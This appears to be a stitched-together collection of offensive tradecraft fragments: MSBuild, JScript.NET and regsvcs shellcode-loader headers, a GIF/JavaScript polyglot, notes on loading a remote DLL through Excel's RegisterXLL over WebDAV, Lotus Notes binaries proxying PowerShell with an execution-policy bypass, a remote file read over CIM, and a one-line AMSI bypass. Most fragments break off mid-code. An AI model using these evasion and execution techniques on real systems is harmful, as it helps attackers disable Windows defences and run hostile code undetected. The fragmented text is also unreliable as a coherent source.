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<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes c# code. -->
  <!-- x86 -->
  <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildQueueAPC.csproj -->
  <!-- x64 -->
  <!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe MSBuildQueueAPC.csproj -->
  <Target Name="Hello">
   <ClassExample />
  </Target>
	<UsingTask

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; a hand-made GIF containing valid JavaScript code
; abusing header to start a JavaScript comment

; inspired by Saumil Shah's Deadly Pixels presentation

; Ange Albertini, BSD Licence 2013

; yamal gifjs.asm -o img.gif

WIDTH equ 10799 ; equivalent to 2f2a, which is '/*' in ASCII, thus starting an opening comment

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import System;
import System.Runtime.InteropServices;
import System.Reflection;
import System.Reflection.Emit;
import System.Runtime;
import System.Text;
 
//C:\Windows\Microsoft.NET\Framework\v2.0.50727\jsc.exe Shellcode.js
//C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Shellcode.js
 

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DLL Execution via Excel.Application RegisterXLL() method

A DLL can be loaded and executed via Excel by initializing the Excel.Application COM object and passing a DLL to the RegisterXLL method. The DLL path does not need to be local, it can also be a UNC path that points to a remote WebDAV server.

When delivering via WebDAV, it should be noted that the DLL is still written to disk but the dropped file is not the one loaded in to the process. This is the case for any file downloaded via WebDAV, and they are stored at: C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV\.

The RegisterXLL function expects an XLL add-in which is essentially a specially crafted DLL with specific exports. More info on XLL's can be found on MSDN

The XLL can also be executed by double-clicking the .xll file, however there is a security warning. @rxwx has more notes on this here inc

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REGSVR odbcconf.dll

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"C:\Program Files (x86)\IBM\Lotus\Notes\Notes.exe" "=N:\Lotus\Notes\Data\notes.ini" -Command if((Get-ExecutionPolicy ) -ne AllSigned) { Set-ExecutionPolicy -Scope Process Bypass } 


NLNOTES.EXE  /authenticate "=N:\Lotus\Notes\Data\notes.ini" -Command if((Get-ExecutionPolicy ) -ne AllSigned) { Set-ExecutionPolicy -Scope Process Bypass } 


Hashes of each binary (prepare for onslaught of md5 naysayers):
Notes.exe — 8f633ef1e1147637c25dd917909cd361
NLNOTES.EXE — 3586b9069a1d4e1c63d9c9cf95cf4126

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$CimSession = New-CimSession -ComputerName 10.0.0.2

$FilePath = 'C:\Windows\System32\notepad.exe'

# PS_ModuleFile only implements GetInstance (versus EnumerateInstance) so this trick below will force a "Get" operation versus the default "Enumerate" operation.
$PSModuleFileClass = Get-CimClass -Namespace ROOT/Microsoft/Windows/Powershellv3 -ClassName PS_ModuleFile -CimSession $CimSession
$InMemoryModuleFileInstance = New-CimInstance -CimClass $PSModuleFileClass -Property @{ InstanceID= $FilePath } -ClientOnly
$FileContents = Get-CimInstance -InputObject $InMemoryModuleFileInstance -CimSession $CimSession
$FileLengthBytes = $FileContents.FileData[0..3]
[Array]::Reverse($FileLengthBytes)

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[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141)

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#!/usr/bin/env python
import sys
if __name__ == "__main__":
	if len(sys.argv) < 2:
		print "usage: %s file.bin\n" % (sys.argv[0],)
		sys.exit(0)

	shellcode = "\""
	ctr = 1
	maxlen = 15

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using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;

/*

Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause

Create Your Strong Name Key -> key.snk